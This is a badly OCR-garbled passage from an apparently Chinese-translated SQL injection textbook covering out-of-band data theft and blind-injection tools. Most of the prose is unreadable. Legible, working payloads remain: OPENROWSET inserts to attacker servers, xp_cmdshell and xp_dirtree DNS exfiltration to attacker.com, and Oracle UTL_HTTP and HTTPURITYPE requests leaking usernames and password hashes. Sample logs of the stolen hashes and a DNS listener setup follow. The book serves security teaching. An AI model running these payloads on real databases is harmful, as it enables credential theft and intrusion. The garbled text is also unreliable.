RAEH AT B EEA AN EEREAE <127 REST 1277 7, BaESE—MEK
BREEWAEB. Tl % CASE BASLHLI%H I, 1% CASE BH)4 & — & Her- 4 R 1k
¥R 0 FHIREBL e R T

CASE

WHEN ASCII(SUBSTRING((...),i,1})) > k
THEN WAITFOR DELAY '00:00:05'

WHEN ASCII (SUBSTRING{({...),i,1)) =K
THEN 1/0

ELSE
THEN WAITFOR DELAY '00:00:10°'
END

R R, B i=k: WRERERT 5B, WHEH >k i<k

55 4EAAEERBEE

M SQL HikRiAR BRI F M E R REFIREERBINEYE. SKFERNTHA
REARAR, BRT HTTP mafish, FRA1E AT LA A8 e ROt . I F@a M i 71kt
AR PECFFHIThRE, B EHAEH THEMEERE. thinit, DNS £ —#7 T SQL Server
F Oracle (ifiiE, H'EAEM T MySQL.

BATREHE 4 LS SQL BiF AR X RiEiE: HI/AFEERE. DNS. e-mail 1 HTTP.
BEEA N BAR S SQL ML RITA, ZE B 3 Mk EREEIN Y — K4 RENEA Bk .

551 KIEFEEE

B—FIE L FGEES X Microsoft SQL Server, By 3 Al 3 i3 8 3 A1) 8 N 5 2 IR FE R I
AT E MR RN ER:, RS RERAR WIS . AT OPENROWSET #r&5CBli%H#,
WMERTAR, EREABEERNBLBTE. BRBGERY), 2EHEBEELFERING 1433
i O BT I — 408 ) Bk SUR EE ) TCPEI S B0ER:., mRZHFEHR LR H O
WINRE, BFBGEHF EAPITHIEE, MAEERS KM . AFESHEK P ks w5
5 BI R E R B ARG 1 . 2430 72 H0s Al 4548 H R 7E JLAN R O _E EDE BB & HLas i, %H
R&FEEHH.

#E SQL Server ', W f#1fil OPENROWSET K #47 5i 2 OLE DB ¥¥E¥R(Hln, Hib—A4
SQL Server)fti— Mt $% . 4518 Ff OPENROWSET M 72 ¥ R e L ¥R
NIEFHEMANBREN TR, RHEH FHEECHTREENISS. ¥ AKEHE OPENROWSET
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SELECT * FROM OPENROWSET ('SQLOLEDB', 'Network=DBMSSOCN';
Address=10.0.2.2;uid=sa;pwd=password’', 'SELECT review_author FROM reviews)

XBEEAWER sa B 2 ERERIMEEH 10.0.2.2 # SQL Server HHMAT SELECT review_author
FROM reviews 1], BANEHBEWEEIFREZEWSER. HF sa Bk} 10.0.2.2 FIHIE
EM—ANH, A RNMIT OPENROWSET MEGRIEM . HAMEER, AN sa AP
DhHATIZE W, FAILIIR B ERE K O 4 LUE I LR AE .

¥ 4 B4k OPENROWSET, BATXBEGFEMEETE SQL BEPRHINMA. #lFHEME
F SELECT iBA] WM EIRER R R, AT AT LMER OPENROWSET JffifB) INSERT ¥
AR ) S M B A 1 B

INSERT INTC OPENROWSET ('SQLOLEDB', 'Network=DBMSOCN;
Address=192.168.0.1; uid=foo; pwd=password', 'SELECT * FROM
attacker table') SELECT name FROM sysobjects WHERE xtype='U'

BAVE N PAT R E WS A TR FE P P RS T, HBXEATHA BT B 3 ik
4-82(IP #u kit 192.168.0.1)_L 1) attacker_table & . 245K, BARIF 1% Ay 4 IEHHR4T, attacker_table
FKHFNDHA G A A R4 RAHTA, FrelZRPEE T — varchar 8751,

MR, XEMBFHIEEREENHF. RIITLAIT SQL, B4 4RI Rk
GRS Y. mTEESSM FRmEmY, Hmxt SQL §iEfidXkit, OPENROWSET
EEMZ®. TEANEZFMNELNRIX—4, EVPHEXALTEMNARAEREEKSRE
OPENROWSET LILH. —#KJE Cesar Cerrudo FF& W] DataThief, —3KJ: Nmonkee FF &/
BobCat. K TRE—MBESLIETR, BU¥H T OPENROWSET HIE1; B LA
B GUI F&{K 7 $h4T7 OPENROWSET Ziiki i & 7% -

BHERFARRTERE. WEMEEERRIFESEGH T xp_cmdshell F RAFHELEGH
ZHE 6 ELURNZTBHELFER), o LMEA DRBEH RIS NG R, Xkad
ERIERZGENIT. Fitn, FHEW@EE B IREIEERE C\B2 T HXCHMERFIR:

INSERT INTO OPENROWSET ('SQLOLEDB',
"Network=DBMSSOCN;Address=www.attacker.com:80; uid=sa; pwd=53kr3t"',
'"SELECT * FROM table') EXEC master..xp cmdshell 'dir C:\'

5.5.2 DNS &i®

Eh BN A H4EEHEE, DNS AMUHME SQL I ANRHMRE, M HAENESBIE/E
i#. DNS & FHIRAA:

o WL NAH A Oty aA H Ot gk, o PR AT B B E R IE DNS 1§ K.

e DNS {# fil ) )2 UDP(User Datagram Protocol, F /7 HABR ML, —FIIRET K,
AL “RICEARE” . MRARRBEIEEREOEREROTN, WEB=4E—43F
B iR &

e DNS HIEZ T EWE 5 ZHEH B EAS L HEEMBES K%M, PEK DNS Ik
R BREERREIEENERRE.
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o HUTEHE, BUEFERRIMER FAKE FREESRMERL N MK DNS JR% 2%, XiRiE
BB EEARK BN RIS . Fik, BRE KRB M, BT LE
o4 B % b % 5 S 52 o P 45 Y DNS E 4k
DNS fok . Wil WA 7E R — K B(AHIH K “attacker.com” YW AT T R AL
DNS FR 4 82407 U7 AL, 7Ei%ap, Beaki vl LU IR S B PATRTA k. EH R
WS IS A A BRAB AT topdump (3528 S () 100 48 1A 45 R 3 4 SRR R 28 R L BRIz I L.«
SQL Server Ml Oracle ¥t EL#ERRI#E5|R DNS i#K. 7E Oracle F', ATLMEA UTL_
INADDR £3,, iXANEE4—AW# R T Ak & %4 H(forward entry)ff] GET_HOST_ADDRESS
R BUR— A Fl & % 1 4 B #) GET_HOST_NAME K3

UTL_INADDR.GET_ HOST_ADDRESS ('www.victim.com') i&F|192.168.1.0
UTL_INADDR.GET HOST NAME('192.168.1.0") B[ www. victim.com

X b B L BT A 43 () DBMS_LOCK.SLEEP( S ¥ 4 F, Bk DNS R ¥A T2 PL/SQL
B, ETE LSS HEAR T ERSIEE . TR FRAR T BT IR EEA KRR
BERA

SELECT * FROM reviews WHERE
review author=UTL_INADDR.GET_HOST_ADDRESS((SELECT SUER FROM
DUAL) || '.attacker.com')

SQL Server Ak BIHEIZ RG], Ait, AT LS E B FE L R R A A a4k
DNS i&sk. #ilan, a7LLdit xp_cmdshell 774 FEKHAT nslookup & (REM TEEAMF .
7E SQL Server 2005 7 Ja HIpR A, BRIAER e S4ER):

EXEC master.. xp_cmdshell 'nslookup www.attacker.com'

{5 F] nslookup FIPE £ Bkl LAFEE H O DNS RS &8, HRNNIXE R S 2K
&3 MMEBEF I DNS HR%4 R AATAK 192.168.1.1, 4 HIXA IR DNS #RE SQL
KRBT HR:

EXEC master.. xp_cmdshell 'nslookup www.attacker.com 192.168.1.1'
T LUK B D40 R 5 — L6 shell AR LIREX SR, 0T HTR:

EXEC master.. xp cmdshell ‘for /F "tokens=5" %i in (''dir c:\'') do nslookup
%i.attacker.com'

AR PRI RN A
has.attacker.com.victim.com
has.attacker.com
6452-9876.attacker.com.victim.com
6452-9876.attacker.com
AUTOEXEC.BAT.attacker.com
AUTOEXEC.BAT.attacker.com
comment.doc.attacker.com.victim.com
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wmpub.attacker.com.victim.com

wmpub.attacker.com

free.attacker.com.victim.com

free.attacker.com

REEE, XAFAEFRE. ROBERERRA “dir” G4 RFESY, 8 THRERTH
5 ANERARIRE, I iR n B AR A S SR AR AL 2 E A A MO SO B H %
MOMIRESRIRN, SAXHLEER THRFAE - AERLRET victim.com H.

EE:
X R AR B T B G BOAI IR, T A A 45845 nslookup 6.8 ARl An—A £ 5 (), AR
1k B RRASK P AT K.

HAbAEAE I FE RS § B SQL Server £k DNS %, XEFAEITFRKE T Windows Xf &%
UNC(Universal Naming Convention, i@ F #7424 E)#A2 M NFESC R . W% Windows {40
BRI LY R UNC #e BILErm . 2ilEREE]—1 UNC Bieh, BIERZLIEER
P Hubb. @iln, SRR GAA AN SUF AL B R #K) UNC #4432 A\\poke.attacker.com\blah, FF-2
{E R &1 poke.attacker.com 14T DNS k. Bradi# vl LLE L M attacker.com 35 b3
BF (AR 45 28 R E BGE R G RRT). FEFIE T X A[M SQL Server A F7 i #2:

e xp_getfiledetails(SQL Server 2000, T5E ~HE&12)

e xp_fileexist(SQL Server 2000. 2005 Fil 2008, % — X {F#48)

e xp_dirtree(SQL Server 2000, 2005 #2008, FHE L)

Blim, EARET DNS RECEREIEEMAF, ATLUHMER:

DECLARE @a CHAR(128); SET @a='\\'+SYSTEM USER+'. attacker.com.';
XEC master.. xp_dirtree @a

S RNSHI RS L ERHZ/FRERE, B ERRBRERT e ER AR
%, SQL [m#:8| R T X EHL4 sa. attacker.com.ff] DNS #r$k, BN T RAEMHEH AKS
BITER.

ERIA BT, Bt xp_cmdshell 14T DNS £k}, 2 BIAELF RS SBHRIT S
(resolver stub) 5k, MITTEEZ R AR, FHE, UNC BEE T 128 MFEHF L FBREMIT X
W, ATLLSEMAERRNBIE AT 2B DNS ABMHE R, XESRRRLE, X
MiZBEWE, —HBERBHEERR T NEH KRR, SQL Server B F — & A
FN_VARBINTOHEXSTROMIE #, ‘& #lME—— A VARBINARY HISHOHR ENZEEE
ISt HIR R Fln:

SELECT master.dbo. fn_varbintohexstr(CAST(SYSTEM_USER as VARBINARY ))
ek
0x73006100

XA sa ] UTF-16 XA .
BTFRnEEARAKE. BB KB RSB 128 NEA, BIIGEAMBLU THMEREE
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FEREHRBRAR: —FRBEEEHTKE: —FMERINMMNEG —TREBKT 128 094, #
THEREEERT . BEMmMAIHRERME, TTL{ER SUBSTRING()EH KA &5 & B 5
. THEKPBF reviews £ H review_body Fll[KIFT 26 M FHHATER:

DECLARE @a CHAR(128);

SELECT @a='\\'+master.dbo.fn_varbintohexstr (CAST (SUBSTRING ( (SELECT TOP 1
CAST (review_body AS CHAR(255)) FROM reviews),1,26) AS
VARBINARY (255)))+'.attacker.com. ';

EXEC master..xp dirtree @a;

FRAHEAERT “0x4d6£7669657320696e20746869732067656e7265206£667465.attacker. com.”
E{ “Movies in this genre ofte”.

RAZE, RITBIMERNEEHFRIELBRBKEX . UNC BERETEE 128 MES,
HrPasE “\” BIR. BINKESL UEBRETHATHRFRENEE. REERBPNERS,
HRAS2 M, FrLlBg42 blahattacker.com 278 3 M5F%, Bl “blah”, “attacker” F1 “com”. B
A 128 FHHARERIEEN, FARSBRELTAE 63 MEF. I THEZEL KR0S R
BREAFARER, RIITFEMEH L& SQL KK BIRFELRIEFME . M DNS FHTR LA
DRRENGERRE: TS LIBEER, X RAMIFERIAKHH DNS HE5E,
BRUBITIX —8/E, WUEBERPEE —SENERE, XEETROBEHERASHR. BEL
EREATLUR SATHE ., 475 2R IF IBEHLIE .

Ba, BREFEITEARRE, 72K AR 2 A0 oo s e — MEFR R . i%EFF
AT B AR R P BRATREVEIE, K HUEE 2 BN R, RGBS DMREER AR TRER.
HEFBE MR TER 63 MEFBA—NES, B “\” §T8RMBD# k4 AT —A T L
(B35 | REIRIFAAEITRE . '

WL DNS S#REUTA YR (B KERBEY M SR : 2 T-SQL(SREMER. £440%.
JRMAERE)EW, 75 SQL Server HIEFE L#HATH T BB ITMAF ML . B Oracle ALY
BIHi) DNS B3, HNBERAER, HERSI(ZE SQL $5t/> PL/SQL A )M L T I
HHBRFE SQL Server t.

4 [X(Zoning Out)

ERFALBEETF, KMNBRAKFES T attacker.com RH BT A 45 Fl ik b
WILEEA RS2, L, 12 DNS £ 4 & HiPAE X HARAE 5695 F(exfiltration)ill i
B, AR Ll i I0E 6 IR 4 BAE A Sk 45 Koali(staging ground) B AL RA SR, XAF
HRTEEZAAR BETMS B LT RIS, EAEREWEM, KRNIERE
EVA AT, BETFROS—RNS(LHMEB)LEk, B8AHARAFRF T LG
FIARGIE, RETUHEAFFOUR—ATHR, GSHEHERAFLHMNBEH NS, &
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{29 — T 4ofTvh BIND(S8E)F X.#) attacker.com 3K AeF 38, @ attacker.com 3K 49
B F Bde T F 4T

dnssucker. attacker.com. NS 1listen. attacker.com.

listen. attacker.com. A 192.168.1.1

F—ATEL NSitFR, HoAT3RBET —A #5412 (glue record). listen. attacker.com
MBLEZET—/A DNSRF %, #/RF5B@iLT dnssucker. attacker.com #9584,
J& @@ & DNS 5 J%1# A .dnssucker. attacker.com 4£ 3 /& 48

5.5.3 E-mail &%

SQL Server 1 Oracle B3 £ WHEFE A TR 1% e-mail, e-mail B—FREWRS| K2 HRE
1H. PR DNS 2, {#f SMTP(Simple Mail Transfer Protocol, f&]HLll4:- &4 tHiY) A& 1% e-mail
A BEHBERREEMEWRE . MTA(Mail Transport Agent, HB4-A& 5/ HE) Iy o 8] o9 2% (2 Jik
LR—A e-mail IRF B)ARKIEH KL e-mail, HME—BEREFEE — LN RILEE D BRHT
BE . WUREHHAREEREE, XN SQL HHSRAME. %Mz
TRPEE. REAMAZE, e-mail HET —BNAARERIL. FTEl, BEBXTAKERE
1 SMTP 2% SQL BEiFilli#.

B 4 EY RN ATLE SQL Server 1 Oracle #1223% 348 F e-mail ThEE.

554 HTTP &im

FHN ARG —FHEREE—HTTP, BEEATREEHING Web 5 28 ThRE M5 E
. EHBER: BRERSBRME MV R R B2 &S H R Web %R . SQL Server
A MySQL #EH A EHIE HTTP W RATBRUNE, ALaTL4EH B 2 X3 IR E]. Oracle
BE—NUHBRRRBAN R KR, aEREIkME HTTP %K, 116 UTL_HTTP &
HTTPURITYPE G4, ZRBAXT LA HEEM SQL i, RMENEEFHAR
T E PL/SQL R, XWEFHEHE T T PUBLIC &M, FHTEEEEEMR P EATHRITEN. K
% Oracle $R{L15 /i (hardening guides)F A <3#2%] HTTPURITYPE, 3 Hili % F ¥ M PUBLIC
1 BER. HTTP i#3K-5 UNION SELECT —#£38 K.

RT3 T 51 77 A A8 P R B/ % S 2K R

UTL HTTP.REQUEST('www. attacker.com /')
HTTPURITYPE ('www. attacker.com /').getclcb

ATBLRI5EYS SQL HHERFAS G LR — MR, %R 6 7/ S ERRE B8]
AR HIE 5 ROX L R EEHI Web RS 2R 1H RS AlE k.

SELECT * FROM reviews WHERE
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review author= UTL_HTTP.REQUEST ('www. attacker.com /'||USER)

58 Web HR 2538 10K LG, BATRI T — 4B EEWMEZROFM T FRIL K HELR:

192.168.1.10 - - [13/Jan/2009:08:38:04 -0600] "GET /SQLI HTTP/1.1" 404 284

% Oracle R E B NEBMSE. W, ENERN—ES, EVLLAEBRE IP Hit,
XA TH M5 & DNS iRk, He DNS HigiRi#EE. HK, UTL_HTTPREQUEST
BB FE HTTPS ifsK, i K ol 4l Bh B4 i () Web Jii. UTL_HTTP/ HTTPURITYPE #;
R A OB H S HURAS, EEBZRECHEAAER SQL BAW FHEE KK, MEEHTD
EAMLBERARR, FHEATGE ).

SELECT * FROM unknowntable

UNICON SELECT NULL, NULL, NULL, FROM

LENGTH (UTL_HTTP.REQUEST ('www.attacker.com/'| |username]| |chr(61) ||

password))

XE¥FHAPRMO4ARESE THREHEWYBEE. SEEET TR FEEARG
R IE S KA sa).
Hi&H T Oracle 11g:

'a' | ICHR{UTL HTTP.REQUEST ('www. attacker.com /'|| (SELECT sys.stragg (DISTINCT

username| chr (61) | |password| |chr (59)) FROM dba users))) ||'a
FARAREE AT FH &l 5k
192.168.2.165 - - [14/Jan/2009:21:34:38 +0100) "GET / S5¥S5=

AD24A888FC3B1lBE7; SYSTEM= BD3D49AD69E3FA34; DBSNMP=
EQ066D214D5421CCC; IBO=7A0F2B316C212D67; OUTLN=4A3BA55E08595C81;WMSYS="7C
9BA362F8314299;0RDSYS=7C9BA362F8314299; ORDPLUGINS=88A2BC183431F00

HTTP/1.1" 404 2336

£} 3¢ Oracle 9i Rel.2 F15E & )+ XMLB:

'a'| |CHR(UTL_HTTP.REQUEST ('attacker.com/'|| (SELECT
xmltransform(sys_xmlagg(sys_xmlgen (username)),xmltype ('<?xzml
version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.0rg/1899/XSL/Transform">
<xsl:template match="/"><xsl:for-each
select="/ROWSET/USERNAME"><xsl:value-of select="text()"/>;
</xsl:for-each></xsl:template></xsl:stylesheet>')) .getstringval ()

listagg from all users)})|l'a
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ERAREE AT H H & DR

7192.168.2.165 - - [14/Jan/2009:22:33:48 +0100] "GET
/SYS; SYSTEM; DBSNMP; TBO; OUTLN; WMSYS; ORDSYS; ORDPLUGINS HTTP/1.1" 404
936

{#H HTTPURITYPE:

... UNION SELECT null,null, LENGTH{(HTTPURITYPE ('http://attacker/'||username] |
'="| |password) .Ggetclob FROM sys.user$ WHERE type#=0 AND
LENGTH (password) =16)

Web il 5528 /1) access.log LB EHBHEMFBH - 2HO%S,
Bj5, BAIATLLZ:R3F A\ ORDER BY Tf). HRIXSMMAE AES, FHAmRERDH
HAEWF R ERT —FIHIE, Oracle BiLaE4& ZBEHEF K.

SELECT banner FROM v$version ORDER BY LENGTH({ (SELECT COUNT(1l) FROM
dba users WHERE

UTL_HTTP.REQUEST ( 'www.attacker.com/'| |username||'="'||password) IS NOT
null));

= I5]iok iUl

192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /SYS=AD24A888FC3B1BE7
HPPT/1.1" 404 336

192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /SYSTEM=BD3D49AD69E3FA34

HPPT/1.1" 404 339
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /DBSNMP=E066D214D5421CCC

HPPT/1.1" 404 339

192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /IBO=TAOF2B316C212D67
HPPT/1.1" 404 337

192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /OUTLN=4A3BA55E08595C81
HPPT/1.1" 404 338

192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /WMSYS=7C9BA362F8314299
HPPT/1.1" 404 338

192.168.2.165 - - [15/Jan/2009:22:44:28 +0100) "GET /ORDSYS=7EFAO2EC7EA6B86F

HPPT/1.1" 404 339
192.168.2.165 - - [15/Jan/2009:22:44:28 +0100] "GET /ORDPLUGINS=88A2B2C183431F00
HPPT/1.1" 404 343

5.6 B %) SQL F A A

RERAEAGAN SQL B HEHASTFF LU PEAE B 3hHG 77 I R 0 Bk 3l vl ok
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WA REIEFEONET . BhETEARE TRRWEHFA SQL HERE. 7E8TFRM
W, BATEAE S FRATH T A

5.6.1 Absinthe

Absinthe GPL(ZRBIFRY SQLSqueal)fe — B 7 HI iZ M HEhHEMT T H. X2 B3)
SQL BEMMA, XEMAHE MRS

® URL: www.0x90.0rg/release/absinthe/.

e 33K: Windows/Linux/Mac(.NET HE4ZEK# Mono).

o Mpit. WEMERIUNE, &S,

o SIHFHIBIEAE: Oracle, PostgreSQL. SQL Server il Sybase.

o Jyik: T mwNKHEN BHRIRER, FRAEER.

Absinthe &4t T — D EH GUL, Bl ol A ek BRI 2 A A . 1oh, ©F
B MIRSMEED, LUFEERZEGENGE . BT LU P AR ARSI 77 1 R T 0 5 (4
JTRRIRRESE, R IX P R HEWOIR S 6t N (M N 275 8 T A ] . %tF Absinthe 335, W <
TFRLA S TR X T REMEA: HY LR TRUE 8 FALSE SRR —AN [ % L& 4.
1Z TR 44 % TRUE % FALSE ##3R45R T N2, X4 SB T A/EEB T b a5
ANSZHEWT i) B W B BRI I L, IR R U E SN b R RIS R T, Rt
PN BEM AR, BB SSMEE - MERFHE, XSBES L
LR ATLUE YHGHT R SR, EAIREELHR.

Pl 5-11 €75 T Absinthe M-8 M. HEEBEAKR, "L+ Blind Injection 5 Error
Based - J& 15 M E S RYIG AT FI R H A FE SR PE . 8 Target URL, [A]i 3648 2040 i R ) 77
#5: POST i&/& GET. HtJi7t Name X AHEPMARASMSHALLRNE. WESH ST
SQL JEA# W, i%i%$ Injectable Parameter FEHE. [F B, RS H7E SQL & il)-hhH #1755,
i Treat Value as String S XEHE. 5N R0 0 b 5 52 Bk VUi 0 75 O BT 2 % L g b 2
IR XRAAFRRT B, LW NET 5 L% VIEWSTATE.

SEMALEZ JG, i Initialize Injection. J3CKF A 16— 3R 17 K 3578 BT {3 B HEWT AR Ao 26
Al bR R 2 S . i SRS HER, 34 81 DB Schema #7748, ¥ BRI ANIEEhIEH: Retrieve
Username #il Load Table Info. 3 — /M4 %R 3 /= 5 52 Moty 01 ) & S SUB EEAF FI A =,
B AEH M S ET RO P PR R B R URMIE . IR RS, TERIERERT S MR T
B fdiR4, ZJ5 B 81 Load Field Info, KA HRPRBITAFILIER, %RfEs
FuJE, ik Download Records #7545 . 7 Filename XAHE P - - NEiH 04 . dit A diF)
LRERFER RN, KRG 5T Add. £ ¥ Download Fields to XML, Hi% = 513 2k
S SO IR A A XML SOR, R ad BisRSig s mRa1T.
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BB Absinthe

File Tools Help

"t i Ldant ‘
Select the type of injection: (3 Blind Injection (O Error Based
Select The Target Database: M5 SQLServer vl

Connection:
Terget URL: httpiff [wwvictim comfsal0S nonsarerror.asp
Connection Method: O Get @post  [Jusesst

g_Con'rnert End of Query [_]Append text toend of query

Authentication ..
[[Juse Authentication [ o ‘:
Basic Digest NTLM . [ :
R cE . |

| B R = 7 |

..................... PRI~ | i

Form Parameters:

Parameters | Cookies | |
. — —_—— ﬁ — e e e ———— :
e Lo ] ame value Injectable ,
Default Yalue: |'" T || search Search False i
J1 _VIEWSTATE dDwxODMy... False | |
[Jinjectable Parameter | tt_search  MadBab Str ; ornove
Treat Value as String | | |
[addParameter | [ addcookie | ||
I
i
!
|
| i : | i

¥ r‘-.‘!."'; S0OL Server Yersior
Initialize Injection

JFinished initial scan I

] 5-11 Absinthe v1.4.1 B0 B HREE
5.6.2 BSQL Hacker

BSQL Hacker {8 /] T & AR B LS R & IR BB E T A2, FHEXHRB LIS
BT TR, BABRMATIRNE, BEHFZREFOFIEES R,

e URL: http:/labs.portcullis.co.uk/application/bsql-hacker/.
FEsk: Windows(.NET HEZE).
. BRASRTE, SEE; BAMREE, FRERH. BEHR 25
KRB E: Access. MySQL. Oracle l SQL Server.
Jrih: EbRORE TR AR HENT —HERIR R, BORRET N KN —HEER R
iR,

BSQL Hacker 2—#KE &4k GPL 1_H, &t H KR ARE L X 4 Bro il fi A B FE R
BURS E T R IE AN AR S RAE SQL HiklRiIAAI A E b, EB W TREBER, 4553
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ARIKAE SQL EVERFHEET 3 MEIRE). B4 T R 2 F)H LUE R ER IR E M H
#. ZTAR4EXFFERNERTERIT: S FHFE, E#RET —4 Injection Wizard, Z%[k)FHEE
BERFIRFACFTFAT: M FER, SRETHRAHEFFRATEE .

B2 X BEER, BSQL Hacker {34 TIRAM B, PRREE . ARAAKIAKSHES RS,
Injection Wizard #B A R EHF= £ —ANH R HIRIA, 1 B Automated Injection B A& F Oracle
1 MySQL, #B4»&R T SQL Server. % H%|H: 4 IR A A M (vicarious nature), % T R4t
HTERS HREMBEE RZAE. Adar R AMFERKELIAA. Z TS
— R R AR M, Hain A B BT I B O (EAN R B A& B BRI TH) . it
MEBETTE, ZTABERE T REBERARGR 3 MRTHEREE), REREARRET
AT O H B .

mEsE TR, Hifi File|Load, X¥7H — N HHEREXEHE, K& AR EEHE
FERIRRAR SLAF B . BN SRR & — R 0PI B BRI BEAR . #1140, Template-Blind-ORACLE
FA-F %} Oracle $(3E FESATHIE Wil R SHIEAEMILECKI A, R HH _PRHEHE, #
I 5 2 B vk A I 5E 8 URL(EHE GET 230, #15 OK.

18 B A SO In 8k A B ASAR R I 78 Dashboard $7%5 1 ) Target URL SCAHE . 43%8 Target
URL DMEB AR AT & 5 Rl T E . $40, H03 Blind-Oracle B, Target URL X
FE4LE F %] URL:

http://www.example.com/ example.php?id=100 AND
NVL (ASCII(SUBSTR({{INJECTION}), {POSITION},1})),0) {OPERATION}{CHAR} --

OFRIERFRA L “BEER”, B/TH BSQL Hacker £ #HE11. —#kiE, BITTLUAR
EIXEE, {BFFEI URL M www.example.com &5 i GET 28 5 32 B0t i s i URL(H
T POST ik, FRAMENERFZFSH, EEHESH LA E Request & Injection FREE_EAY
Post Data 3 91):

http://www.victim.com/ora-nondba-exception,jsp?txt_search=MadBob' AND
NVL (ASCII(SUBSTR( (SELECT user from
dual), {(POSITION},1}1},0} {OPERATION}{CHAR}--

WEERE, BT HAES, RATIEAEF “select user from dual” ##t T {INJECTION} . Oracle
HENERE B, A RN E AW,

BB URL 2J5, MWTAEEKTHRFIRPEIF Oracle(BE 5-12 FiR). WREMHBEARE
HETF MM, WA LAZE Detection #7%5 bfi#—SHCE, AN, BSQL Hacker K2 H 35 & 1
N RER, X EHEHRESE IS Absinthe 41 IR H], Fid BSQL Hacker R AR 12
%S, X— 5 Absinthe A[F).
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BT ELBHRES, BT REMEEHITRIE. B Test Injection, 3 H —/ %
HE, ERME “Injection succeed.”. HIRAKMIL, WHIARETE FRFIRTERE T ERMEIERE
HHRFI I E R 8 EHSE R T GG SQL ). W LA #f Request History [EIAR 7 IiE KA .

BRFAREWIER, BES Automated Attacks 34, BB iX T o 757 Bt FEEBLPA
EAMERT, BRI OBIRES R, Bn, B Start 34, XHHITIEE R
#E3TE % Dashboard [{] Status AR, WE 5-13 fros. 558 BSQL Hacker i B B 2R BN EER
PEh BRI A 2, HixTheeBrZRaed, L RERTRENER.

ORACLE 1, Test Injection | | g Automated Attack 9.
| &8 Setings | (3 ExvractedDatabase|

‘&’ Dashboard ||
_ - S N i ]
Target URL : [tul_search=MadBob' AND NVLIASCIISUBSTR({select user from dual)(POSITION).1)).0HOPERATIONHCHAR}--
Status
1
I

Bl 5-13 {#f BSQL Hacker RN EIBEEF
5.6.3 SQLBrute

SR T e W i B A B B AT Ok A S S H kT SQLBrute 41T LR, XK
FETRAMBREIR i LR B AEE.

e URL: www.gdssecurity.com/1/t.php.

ER: Python(Windows/Linux/Mac).
. BRAMRTE. A, ERAMRTE, EREEE. BEER £H.
YR ISR : Oracle 71 SQL Server.

o JydE: ETHEBOHENT —ERIIEER, ok AT R HENT BRI R

SQLBrute RA&#iT Python fi#ERS. SHMTRML, EIEEAD, R 31KB. W TXKE
WA R EE E A/ IS, SQLBrute EAEZ %, HERFZRFEEHRTT. SQLBrute
R AR B — AN B E B R R R TR . R FRRP AR TERORATFN, B4
BEERREZFY. XPBERTANEHATETXANERE.

BEZfTETHE, FERMESZHEHTEN SRR URTA LARTHEREAER GET
BE R POST %0, R IFAMFAETRMHBER, MWAbME--error ZHEHRA—NIENE
0 2 (8 B A BT 1) RO (] false), 75 DU 58 P 2 T B TR OB E I 5-14 SR O 7+
SQLBrute [FiE{TTEREF RN KA T, X RS ZHER SQL Server, 3 H L MEGHEFE
PRI T B E L. WRER A AT, 245N ) BUE ] FALSE i, TEE & “Review count: 07,
AR %45 B A AT DLURAN IE N R IA R T JE B 58 10 72 8« FFRBITIE, R TASIITORERER,
Z G FFUA R BUBE S H HATENE R B b

SQLBrute IE¥EAHLKRMAF, ALI1ERE AT A 5 IBHE K 8R 1.
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E 5-14 iZ4T SQLBrute

5.6.4 Sqlninja

B ARE Sqlninja TRAITABIRKTAE. Sqlninja STFRFEFH DNS #8248 FLEE R AT A
4 (5t %t SQL Server), BRATHRITEBERIX—H K.

e URL: http:// sqlninja.sourceforge.net/.

e ER: Perl XIR# Perl Bidk(Linux).

o R ERAMIRIE, ZEWL: BERAMSRTE, FZERL: BFHR 25

o SIRFHIEIEEE: SQL Server.

o Jrik: BT HHERT —BEH#8EK, IEEMEE=DNS.

% 4 ENAiT Sqlninja, HAEFRATEFNHIEEH DNS Bifi. A/ ERLIRZEE, F
B 52 B BIE E R RGP LA —ANTRITHHEBERF, Z/EHMER xp_cmdshell ¥
FiZHEBERF, RMHfE#— M4 (B blah. attacker.com, Xt FiZIMAZNKU, BldiFa 1P #h
Bt R—ANETHUER] DNS BR&#3)HRE—FBERITHMS . FHRFIWTENL, BRE
H IR 3R Gt 38042 1 b AU GRS In 218 e o AT 24k DNS ##R. iX4% DNS B BiA K & #9
Huhk, Sqlninja &XEMIHATAR I B7R. Sqlninja & —MMEFE K DNS RE#HEM, BT
5] 7 AR S SR 4 R A B R 0. PR 5-15 JBR T — Sqlninja R"fl, A TRIRIEAEA whoami
43247 SQL Server A/ . Sqlninja #K¥iF xp_cmdshell RISCHAIER, BTG50 LUFAUA -
54K 7 Ie] BIEEE

B 5-15 4T Sqlninja FFiEid DNS #REUH &
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5.6.5 Squeeza

THErEEE AT B30 SQL HEFAM L A—Squeeza. ER—HMSTTH, ¥
FEMITERM SQL Server FABFEHRIMEE . 415 H T DNS &, FHERFMT —A4
B 1=R

e URL: www.sensepost.com/research/ squeeza.

® ZK: Ruby. AT DNS EIEAY tcpdump(Linux/Mac). &F%f4E{A48 938 i BE 9 DNS

: AR %528

o it WAMRITE. 2R, BHASNRIE, FRH, WESE 25,

o ZRMEIEE: SQL Server.

o Ntk ETHEKIZEAAN, JEEMBEE=DNS.

-Squeeza JEH KA —FMMMAFRE SQL HEAF L. EHENSBREEQIRBIL, o
T+ REAIREMREN MR SQL AW RBIRIRI(BII, (EFAFAERER, HHREN
DNS). XFFBHiE @ LE N B TR A UDE: $y&$hAT 60 A B 1B] 4k 3% 16k (B il i
L DNS BATICHF RS AFHRL, RAITRCEBEA M DNS 3R BGEE SR L R4
PATHI H 1%

Squeeza ) DNS B SE47E T-SQL PALEE, Xk AT BAF AU B U M (tn R AP e
ATFH B AU 1], USES & AT R SEBGE ). RO, I AT A4 7= A O o S ek Bt
RNV . X ANAT K UDP DNS £, Squeeza MR RELRMBETHE, S —
NAMRIEFTH BRI REBIAMEME, B IME R ERK 1 T B A 8000 $£45), 3+ H ATl
PREL BRI BOE . ,

AU REAARFAERE XS . SBREERERRDMREBLIE Web REREN). 5
SE Wit DUH 89 3% 42(URL) 4E17 GET =X POST 2 ¥((i# K 745 ) LU K i sk & GET i&£ POST(Jy
R). AEAFHED, FHX X X X X XHFEREMHBEEAFFEOMUE. B S5-16
&8 Squeeza MIARE, Tilid DNSREI T —/MBRiFH.

B 5-16 &[E—AH FiH £ 1 Squeeza



¥$5F SOLEANAE 209
57 AKF. )4

